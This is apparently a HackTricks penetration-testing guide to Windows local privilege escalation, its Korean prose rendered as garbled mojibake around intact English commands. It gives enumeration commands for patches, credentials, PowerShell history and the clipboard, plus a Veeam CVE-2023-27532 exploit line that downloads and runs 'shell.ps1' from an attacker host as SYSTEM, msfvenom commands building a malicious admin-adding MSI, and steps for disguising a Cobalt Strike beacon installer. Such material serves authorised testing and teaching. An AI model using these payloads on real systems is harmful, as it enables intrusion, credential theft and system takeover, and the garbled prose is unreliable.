Windows Local Privilege Escalation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Best tool to look for Windows local privilege escalation vectors: WinPEAS
Initial Windows Theory
Access Tokens
Windows Access Tokens๊ฐ ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด, ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ผ์ธ์:
ACLs - DACLs/SACLs/ACEs
ACLs - DACLs/SACLs/ACEs์ ๋ํ ์์ธํ ๋ด์ฉ์ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
Integrity Levels
Windows์ integrity levels๊ฐ ๋ฌด์์ธ์ง ๋ชจ๋ฅธ๋ค๋ฉด, ๊ณ์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ์ด์ผ ํฉ๋๋ค:
Windows Security Controls
Windows์๋ ์์คํ ์ ์ด๊ฑฐํ๋ ๊ฒ์ ๋ฐฉํดํ๊ฑฐ๋ ์คํ ํ์ผ ์คํ์ ๋ง๊ฑฐ๋ ์ฌ์ง์ด ํ๋์ ํ์งํ ์ ์๋ ๋ค์ํ ์์๊ฐ ์์ต๋๋ค. privilege escalation ์ด๊ฑฐ๋ฅผ ์์ํ๊ธฐ ์ ์ ๋ค์ ํ์ด์ง๋ฅผ ์ฝ๊ณ ์ด๋ฌํ ๋ฐฉ์ด ๋ฉ์ปค๋์ฆ์ ๋ชจ๋ ์ด๊ฑฐํด์ผ ํฉ๋๋ค:
Admin Protection / UIAccess silent elevation
UIAccess ํ๋ก์ธ์ค๋ RAiLaunchAdminProcess๋ฅผ ํตํด ์์๋ ๋ AppInfo secure-path checks๊ฐ ์ฐํ๋๋ฉด ํ๋กฌํํธ ์์ด High IL์ ๋๋ฌํ๋๋ก ์
์ฉ๋ ์ ์์ต๋๋ค. ์ ์ฉ UIAccess/Admin Protection ์ฐํ ์ํฌํ๋ก๋ฅผ ํ์ธํ์ธ์:
Uiaccess Admin Protection Bypass
System Info
Version info enumeration
Windows ๋ฒ์ ์ ์๋ ค์ง ์ทจ์ฝ์ ์ด ์๋์ง ํ์ธํ์ธ์(์ ์ฉ๋ ํจ์น๋ ํ์ธํ์ญ์์ค).
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
๋ฒ์ Exploits
This site is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the ๊ฑฐ๋ํ ๊ณต๊ฒฉ ํ๋ฉด that a Windows environment presents.
์์คํ ์์
- post/windows/gather/enum_patches
- post/multi/recon/local_exploit_suggester
- watson
- winpeas (Winpeas์๋ watson์ด ๋ด์ฅ๋์ด ์์)
์์คํ ์ ๋ณด๋ฅผ ์ฌ์ฉํด ๋ก์ปฌ์์
exploits ๊ด๋ จ Github repos:
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/abatchy17/WindowsExploits
- https://github.com/SecWiki/windows-kernel-exploits
ํ๊ฒฝ
ํ๊ฒฝ ๋ณ์์ ์๊ฒฉ ์ฆ๋ช /Juicy ์ ๋ณด๊ฐ ์ ์ฅ๋์ด ์๋?
set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize
PowerShell ๊ธฐ๋ก
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
PowerShell Transcript ํ์ผ
์ด ๊ธฐ๋ฅ์ ์ผ๋ ๋ฐฉ๋ฒ์ https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/์์ ํ์ธํ ์ ์์ต๋๋ค.
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
PowerShell Module Logging
PowerShell ํ์ดํ๋ผ์ธ ์คํ์ ๋ํ ์ธ๋ถ ์ ๋ณด๋ ์คํ๋ ๋ช ๋ น, ๋ช ๋ น ํธ์ถ, ์คํฌ๋ฆฝํธ์ ์ผ๋ถ๋ฅผ ํฌํจํ์ฌ ๊ธฐ๋ก๋ฉ๋๋ค. ๋ค๋ง ์ ์ฒด ์คํ ์ธ๋ถ์ฌํญ ๋ฐ ์ถ๋ ฅ ๊ฒฐ๊ณผ๊ฐ ๋ชจ๋ ์บก์ฒ๋์ง ์์ ์ ์์ต๋๋ค.
์ด๋ฅผ ํ์ฑํํ๋ ค๋ฉด ๋ฌธ์์ โTranscript filesโ ์น์ ์ ์๋ ์ง์นจ์ ๋ฐ๋ฅด๊ณ **โModule Loggingโ**์ โPowershell Transcriptionโ ๋์ ์ ํํ์ธ์.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
PowersShell ๋ก๊ทธ์์ ๋ง์ง๋ง 15๊ฐ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
PowerShell Script Block Logging
์คํฌ๋ฆฝํธ ์คํ์ ๋ชจ๋ ํ๋๊ณผ ์ ์ฒด ๋ด์ฉ์ด ์บก์ฒ๋์ด ๊ฐ ์ฝ๋ ๋ธ๋ก์ด ์คํ๋๋ ๋์ ๋ฌธ์ํ๋๋๋ก ๋ณด์ฅํ๋ค. ์ด ๊ณผ์ ์ ๊ฐ ํ๋์ ๋ํ ํฌ๊ด์ ์ธ ๊ฐ์ฌ ๊ธฐ๋ก์ ๋ณด์กดํ์ฌ ํฌ๋ ์ ๋ฐ ์ ์ฑ ํ์ ๋ถ์์ ์ ์ฉํ๋ค. ์คํ ์์ ์ ๋ชจ๋ ํ๋์ ๋ฌธ์ํํจ์ผ๋ก์จ ํ๋ก์ธ์ค์ ๋ํ ์์ธํ ํต์ฐฐ์ ์ ๊ณตํ๋ค.
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
Script Block์ ๋ก๊น ์ด๋ฒคํธ๋ Windows ์ด๋ฒคํธ ๋ทฐ์ด์์ ๋ค์ ๊ฒฝ๋ก์์ ์ฐพ์ ์ ์์ต๋๋ค: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.\ ๋ง์ง๋ง 20๊ฐ์ ์ด๋ฒคํธ๋ฅผ ๋ณด๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
์ธํฐ๋ท ์ค์
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
๋๋ผ์ด๋ธ
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
WSUS
์ ๋ฐ์ดํธ๊ฐ httpS๊ฐ ์๋๋ผ http๋ก ์์ฒญ๋๋ฉด ์์คํ ์ ํ์ทจํ ์ ์์ต๋๋ค.
๋จผ์ ๋คํธ์ํฌ๊ฐ ๋น-SSL WSUS ์ ๋ฐ์ดํธ๋ฅผ ์ฌ์ฉํ๋์ง ํ์ธํ๋ ค๋ฉด cmd์์ ๋ค์์ ์คํํฉ๋๋ค:
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
๋๋ PowerShell์์ ๋ค์์ ์คํ:
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
๋ค์๊ณผ ๊ฐ์ ์๋ต์ ๋ฐ์ผ๋ฉด:
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
WUServer : http://xxxx-updxx.corp.internal.com:8530
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName : windowsupdate
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
๊ทธ๋ฆฌ๊ณ HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer ๋๋ Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"์ ๊ฐ์ด 1์ด๋ฉด,
๊ทธ๋ ๋ค๋ฉด ์ทจ์ฝ์ ์ด ์
์ฉ ๊ฐ๋ฅํฉ๋๋ค. ๋ง์ง๋ง ๋ ์ง์คํธ๋ฆฌ ๊ฐ์ด 0์ด๋ฉด WSUS ํญ๋ชฉ์ ๋ฌด์๋ฉ๋๋ค.
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๊ธฐ ์ํด ๋ค์๊ณผ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค: Wsuxploit, pyWSUS โ ์ด๋ค์ ๋น-SSL WSUS ํธ๋ํฝ์ โ๊ฐ์งโ ์ ๋ฐ์ดํธ๋ฅผ ์ฃผ์ ํ๋ MiTM ๋ฌด๊ธฐํ ์ต์คํ๋ก์ ์คํฌ๋ฆฝํธ์ ๋๋ค.
์ฐ๊ตฌ ๋ฌธ์๋ ๋ค์์ ์ฐธ์กฐํ์ธ์:
WSUS CVE-2020-1013
์ ์ฒด ๋ณด๊ณ ์ ์ฝ๊ธฐ.
์์ฝํ๋ฉด, ์ด ๊ฒฐํจ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorerโs settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.
Furthermore, since the WSUS service uses the current userโs settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current userโs certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.
์ด ์ทจ์ฝ์ ์ ๋๊ตฌ WSUSpicious์(๋ฅผ) ์ฌ์ฉํด ์ ์ฉํ ์ ์์ต๋๋ค (๋๊ตฌ๊ฐ ๊ณต๊ฐ๋ ํ).
Third-Party Auto-Updaters and Agent IPC (local privesc)
๋ง์ ์ํฐํ๋ผ์ด์ฆ ์์ด์ ํธ๋ localhost IPC ์ธํฐํ์ด์ค์ ๊ถํ ์๋ ์ ๋ฐ์ดํธ ์ฑ๋์ ๋ ธ์ถํฉ๋๋ค. ๋ฑ๋ก(enrollment)์ด ๊ณต๊ฒฉ์ ์๋ฒ๋ก ๊ฐ์ ๋ ์ ์๊ณ ์ ๋ฐ์ดํฐ๊ฐ ์ ์ฑ ๋ฃจํธ CA๋ฅผ ์ ๋ขฐํ๊ฑฐ๋ ์๋ช ๊ฒ์ฆ์ด ์ฝํ๋ฉด, ๋ก์ปฌ ์ฌ์ฉ์๊ฐ SYSTEM ์๋น์ค๊ฐ ์ค์นํ๋ ์ ์ฑ MSI๋ฅผ ์ ๋ฌํ ์ ์์ต๋๋ค. ์ผ๋ฐํ๋ ๊ธฐ๋ฒ(์: Netskope stAgentSvc ์ฒด์ธ โ CVE-2025-0309)์ ๋ค์์ ์ฐธ์กฐํ์ธ์:
Veeam Backup & Replication CVE-2023-27532 (SYSTEM via TCP 9401)
Veeam B&R < 11.0.1.1261๋ TCP/9401์์ localhost ์๋น์ค๋ฅผ ๋
ธ์ถํ๋ฉฐ, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ฉ์์ง๋ฅผ ์ฒ๋ฆฌํด NT AUTHORITY\SYSTEM ๊ถํ์ผ๋ก ์์ ๋ช
๋ น์ ์คํํ ์ ์์ต๋๋ค.
- Recon: ๋ฆฌ์ค๋์ ๋ฒ์ ์ ํ์ธํฉ๋๋ค. ์:
netstat -ano | findstr 9401๋ฐ(Get-Item "C:\Program Files\Veeam\Backup and Replication\Backup\Veeam.Backup.Shell.exe").VersionInfo.FileVersion. - Exploit:
VeeamHax.exe๊ฐ์ PoC์ ํ์ํ Veeam DLL๋ค์ ๋์ผํ ๋๋ ํฐ๋ฆฌ์ ๋ฐฐ์นํ ๋ค์, ๋ก์ปฌ ์์ผ์ ํตํด SYSTEM ํ์ด๋ก๋๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค:
.\VeeamHax.exe --cmd "powershell -ep bypass -c \"iex(iwr http://attacker/shell.ps1 -usebasicparsing)\""
์๋น์ค๋ ๋ช ๋ น์ SYSTEM ๊ถํ์ผ๋ก ์คํํฉ๋๋ค.
KrbRelayUp
ํน์ ์กฐ๊ฑด์์ Windows domain ํ๊ฒฝ์ local privilege escalation ์ทจ์ฝ์ ์ด ์กด์ฌํฉ๋๋ค. ์ด๋ฌํ ์กฐ๊ฑด์๋ LDAP signing is not enforced, ์ฌ์ฉ์๊ฐ self-rights๋ฅผ ๋ณด์ ํด Resource-Based Constrained Delegation (RBCD) ๋ฅผ ๊ตฌ์ฑํ ์ ์์ผ๋ฉฐ ๋๋ฉ์ธ ๋ด์์ ์ปดํจํฐ๋ฅผ ์์ฑํ ์ ์๋ ํ๊ฒฝ์ด ํฌํจ๋ฉ๋๋ค. ์ด๋ฌํ requirements๊ฐ default settings๋ก ์ถฉ์กฑ๋๋ค๋ ์ ์ ์ ์ํด์ผ ํฉ๋๋ค.
๋ค์์์ exploit์ ์ฐพ์ผ์ธ์: https://github.com/Dec0ne/KrbRelayUp
๊ณต๊ฒฉ์ ํ๋ฆ์ ๋ํ ์์ธํ ์ ๋ณด๋ https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/ ๋ฅผ ํ์ธํ์ธ์.
AlwaysInstallElevated
If ์ด 2๊ฐ์ ๋ ์ง์คํธ๋ฆฌ๊ฐ enabled(๊ฐ์ด 0x1)๋ก ์ค์ ๋์ด ์์ผ๋ฉด, ์ด๋ค ๊ถํ์ ์ฌ์ฉ์๋ *.msi ํ์ผ์ NT AUTHORITY\SYSTEM ๊ถํ์ผ๋ก install(์คํ)ํ ์ ์์ต๋๋ค.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Metasploit payloads
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated
PowerUP
ํ์ฌ ๋๋ ํฐ๋ฆฌ์ ๊ถํ ์์น์ ์ํด Windows MSI ๋ฐ์ด๋๋ฆฌ๋ฅผ ์์ฑํ๋ ค๋ฉด power-up์์ Write-UserAddMSI ๋ช
๋ น์ ์ฌ์ฉํ์ธ์. ์ด ์คํฌ๋ฆฝํธ๋ ์ฌ์ฉ์/๊ทธ๋ฃน ์ถ๊ฐ๋ฅผ ์์ฒญํ๋ ์ฌ์ ์ปดํ์ผ๋ MSI ์ค์น ํ๋ก๊ทธ๋จ์ ์์ฑํฉ๋๋ค(๋ฐ๋ผ์ GIU ์ ๊ทผ ๊ถํ์ด ํ์ํฉ๋๋ค):
Write-UserAddMSI
์์ฑ๋ ๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ๋ฉด ๊ถํ ์์น์ ํ ์ ์์ต๋๋ค.
MSI Wrapper
์ด ํํ ๋ฆฌ์ผ์ ์ฝ์ด ์ด ๋๊ตฌ๋ค์ ์ฌ์ฉํด MSI Wrapper๋ฅผ ๋ง๋๋ ๋ฐฉ๋ฒ์ ๋ฐฐ์ฐ์ธ์. ์ฐธ๊ณ ๋ก, โ.batโ ํ์ผ์ ๋จ์ง ๋ช ๋ น์ค์ ์คํํ๋ ค๋ ๊ฒฝ์ฐ ๋ํํ ์ ์์ต๋๋ค.
Create MSI with WIX
Create MSI with Visual Studio
- Cobalt Strike ๋๋ Metasploit์ ์ฌ์ฉํด
C:\privesc\beacon.exe์ new Windows EXE TCP payload๋ฅผ ์์ฑํฉ๋๋ค. - Visual Studio๋ฅผ ์ด๊ณ , Create a new project๋ฅผ ์ ํํ ๋ค์ ๊ฒ์ ์์์ โinstallerโ๋ฅผ ์ ๋ ฅํ์ธ์. Setup Wizard ํ๋ก์ ํธ๋ฅผ ์ ํํ๊ณ Next๋ฅผ ํด๋ฆญํฉ๋๋ค.
- ํ๋ก์ ํธ ์ด๋ฆ์ ์: AlwaysPrivesc๋ก ์ง์ ํ๊ณ , ์์น๋ **
C:\privesc**๋ฅผ ์ฌ์ฉํ์ธ์. place solution and project in the same directory๋ฅผ ์ ํํ๊ณ Create๋ฅผ ํด๋ฆญํฉ๋๋ค. - Next๋ฅผ ๊ณ์ ํด๋ฆญํ์ฌ 4๋จ๊ณ ์ค 3๋จ๊ณ (choose files to include)์ ๋๋ฌํ์ธ์. Add๋ฅผ ํด๋ฆญํ๊ณ ๋ฐฉ๊ธ ์์ฑํ Beacon payload๋ฅผ ์ ํํ ๋ค์ Finish๋ฅผ ํด๋ฆญํฉ๋๋ค.
- Solution Explorer์์ AlwaysPrivesc ํ๋ก์ ํธ๋ฅผ ์ ํํ ๋ค Properties์์ TargetPlatform์ x86์์ x64๋ก ๋ณ๊ฒฝํฉ๋๋ค.
- ์ค์น๋ ์ฑ์ ๋ ํฉ๋ฒ์ ์ผ๋ก ๋ณด์ด๊ฒ ํ๊ธฐ ์ํด Author์ Manufacturer ๊ฐ์ ๋ค๋ฅธ ์์ฑ๋ค์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
- ํ๋ก์ ํธ๋ฅผ ๋ง์ฐ์ค ์ค๋ฅธ์ชฝ ๋ฒํผ์ผ๋ก ํด๋ฆญํ๊ณ View > Custom Actions๋ฅผ ์ ํํฉ๋๋ค.
- Install์ ์ค๋ฅธ์ชฝ ํด๋ฆญํ๊ณ Add Custom Action์ ์ ํํฉ๋๋ค.
- Application Folder๋ฅผ ๋๋ธํด๋ฆญํ๊ณ beacon.exe ํ์ผ์ ์ ํํ ํ OK๋ฅผ ํด๋ฆญํฉ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ์ค์น ํ๋ก๊ทธ๋จ์ด ์คํ๋์๋ง์ beacon payload๊ฐ ์คํ๋ฉ๋๋ค.
- Custom Action Properties์์ Run64Bit๋ฅผ True๋ก ๋ณ๊ฒฝํฉ๋๋ค.
- ๋ง์ง๋ง์ผ๋ก ๋น๋ํฉ๋๋ค.
- ๊ฒฝ๊ณ
File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'๊ฐ ํ์๋๋ฉด ํ๋ซํผ์ x64๋ก ์ค์ ํ๋์ง ํ์ธํ์ธ์.
MSI Installation
์
์ฑ .msi ํ์ผ์ ์ค์น๋ฅผ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํํ๋ ค๋ฉด:
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
์ด ์ทจ์ฝ์ ์ ์ ์ฉํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: exploit/windows/local/always_install_elevated
์ํฐ๋ฐ์ด๋ฌ์ค ๋ฐ ํ์ง๊ธฐ
๊ฐ์ฌ ์ค์
์ด ์ค์ ๋ค์ ๋ฌด์์ด ๊ธฐ๋ก๋๋์ง๋ฅผ ๊ฒฐ์ ํ๋ฏ๋ก ์ฃผ์๋ฅผ ๊ธฐ์ธ์ฌ์ผ ํฉ๋๋ค.
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
WEF
Windows Event Forwarding์์๋ ๋ก๊ทธ๊ฐ ์ด๋๋ก ์ ์ก๋๋์ง ์๋ ๊ฒ์ด ํฅ๋ฏธ๋กญ๋ค
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
LAPS
LAPS๋ ๋ก์ปฌ Administrator ์ํธ ๊ด๋ฆฌ๋ฅผ ์ํด ์ค๊ณ๋์์ผ๋ฉฐ, ๋๋ฉ์ธ์ ๊ฐ์ ๋ ์ปดํจํฐ์์ ๊ฐ ์ํธ๊ฐ ๊ณ ์ ํ๊ณ ๋ฌด์์ํ๋๋ฉฐ ์ ๊ธฐ์ ์ผ๋ก ๊ฐฑ์ ๋๋๋ก ๋ณด์ฅํฉ๋๋ค. ์ด๋ฌํ ์ํธ๋ Active Directory์ ์์ ํ๊ฒ ์ ์ฅ๋๋ฉฐ, ACLs๋ฅผ ํตํด ์ถฉ๋ถํ ๊ถํ์ด ๋ถ์ฌ๋ ์ฌ์ฉ์๋ง ์ก์ธ์คํ ์ ์์ด(๊ถํ์ด ์๋ ๊ฒฝ์ฐ) ๋ก์ปฌ admin ์ํธ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค.
WDigest
ํ์ฑํ๋ ๊ฒฝ์ฐ, plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service).
More info about WDigest in this page.
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
LSA Protection
Windows 8.1๋ถํฐ Microsoft๋ Local Security Authority (LSA)์ ๋ํด ํฅ์๋ ๋ณดํธ๋ฅผ ๋์
ํ์ฌ ์ ๋ขฐํ ์ ์๋ ํ๋ก์ธ์ค๊ฐ read its memory ํ๊ฑฐ๋ inject code๋ฅผ ์๋ํ๋ ๊ฒ์ blockํ์ฌ ์์คํ
๋ณด์์ ๊ฐํํ์ต๋๋ค.
More info about LSA Protection here.
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
Credentials Guard
Credential Guard๋ Windows 10์์ ๋์ ๋์์ต๋๋ค. ์ด๋ ์ฅ์น์ ์ ์ฅ๋ credentials๋ฅผ pass-the-hash ๊ณต๊ฒฉ๊ณผ ๊ฐ์ ์ํ์ผ๋ก๋ถํฐ ๋ณดํธํ๊ธฐ ์ํ ๊ฒ์ ๋๋ค.| More info about Credentials Guard here.
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
์บ์๋ ์๊ฒฉ ์ฆ๋ช
๋๋ฉ์ธ ์๊ฒฉ ์ฆ๋ช
์ **๋ก์ปฌ ๋ณด์ ๊ถํ(LSA)**์ ์ํด ์ธ์ฆ๋๋ฉฐ ์ด์ ์ฒด์ ๊ตฌ์ฑ ์์์์ ์ฌ์ฉ๋ฉ๋๋ค. ์ฌ์ฉ์์ ๋ก๊ทธ์จ ๋ฐ์ดํฐ๊ฐ ๋ฑ๋ก๋ ๋ณด์ ํจํค์ง์ ์ํด ์ธ์ฆ๋๋ฉด, ์ผ๋ฐ์ ์ผ๋ก ํด๋น ์ฌ์ฉ์์ ๋ํ ๋๋ฉ์ธ ์๊ฒฉ ์ฆ๋ช
์ด ์ค์ ๋ฉ๋๋ค.
More info about Cached Credentials here.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน
์ฌ์ฉ์ ๋ฐ ๊ทธ๋ฃน ์ด๊ฑฐ
์์ ์ด ์ํ ๊ทธ๋ฃน ์ค ํฅ๋ฏธ๋ก์ด ๊ถํ์ ๊ฐ์ง ๊ทธ๋ฃน์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค.
# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
ํน๊ถ ๊ทธ๋ฃน
๋ง์ฝ ๋น์ ์ด ์ด๋ค ํน๊ถ ๊ทธ๋ฃน์ ์ํด ์๋ค๋ฉด ๊ถํ ์์น์ด ๊ฐ๋ฅํ ์ ์์ต๋๋ค. ํน๊ถ ๊ทธ๋ฃน๊ณผ ์ด๋ฅผ ์ ์ฉํ์ฌ ๊ถํ์ ์์น์ํค๋ ๋ฐฉ๋ฒ์ ๋ค์์์ ํ์ธํ์ธ์:
ํ ํฐ ์กฐ์
์์ธํ ์์๋ณด๊ธฐ: ์ด ํ์ด์ง์์ ํ ํฐ์ด ๋ฌด์์ธ์ง ํ์ธํ์ธ์: Windows Tokens.
๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ฌ ํฅ๋ฏธ๋ก์ด ํ ํฐ๊ณผ ์ด๋ฅผ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ์์๋ณด์ธ์:
๋ก๊ทธ์ธ๋ ์ฌ์ฉ์ / ์ธ์
qwinsta
klist sessions
ํ ํด๋
dir C:\Users
Get-ChildItem C:\Users
๋น๋ฐ๋ฒํธ ์ ์ฑ
net accounts
ํด๋ฆฝ๋ณด๋ ๋ด์ฉ ๊ฐ์ ธ์ค๊ธฐ
powershell -command "Get-Clipboard"
์คํ ์ค์ธ ํ๋ก์ธ์ค
ํ์ผ ๋ฐ ํด๋ ๊ถํ
๋ฌด์๋ณด๋ค๋, ํ๋ก์ธ์ค๋ฅผ ๋์ดํ์ฌ ํ๋ก์ธ์ค์ ๋ช
๋ น์ค์ ๋น๋ฐ๋ฒํธ๊ฐ ํฌํจ๋์ด ์๋์ง ํ์ธํ์ธ์.
์คํ ์ค์ธ ์ผ๋ถ ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ฎ์ด์ธ ์ ์๋์ง ๋๋ ๋ฐ์ด๋๋ฆฌ ํด๋์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ด ์๋์ง ํ์ธํด ์ ์ฌ์ ์ธ DLL Hijacking attacks์ ์
์ฉํ ์ ์๋์ง ์ดํด๋ณด์ธ์:
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
ํ๋ก์ธ์ค ๋ฐ์ด๋๋ฆฌ์ ๊ถํ ํ์ธ
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
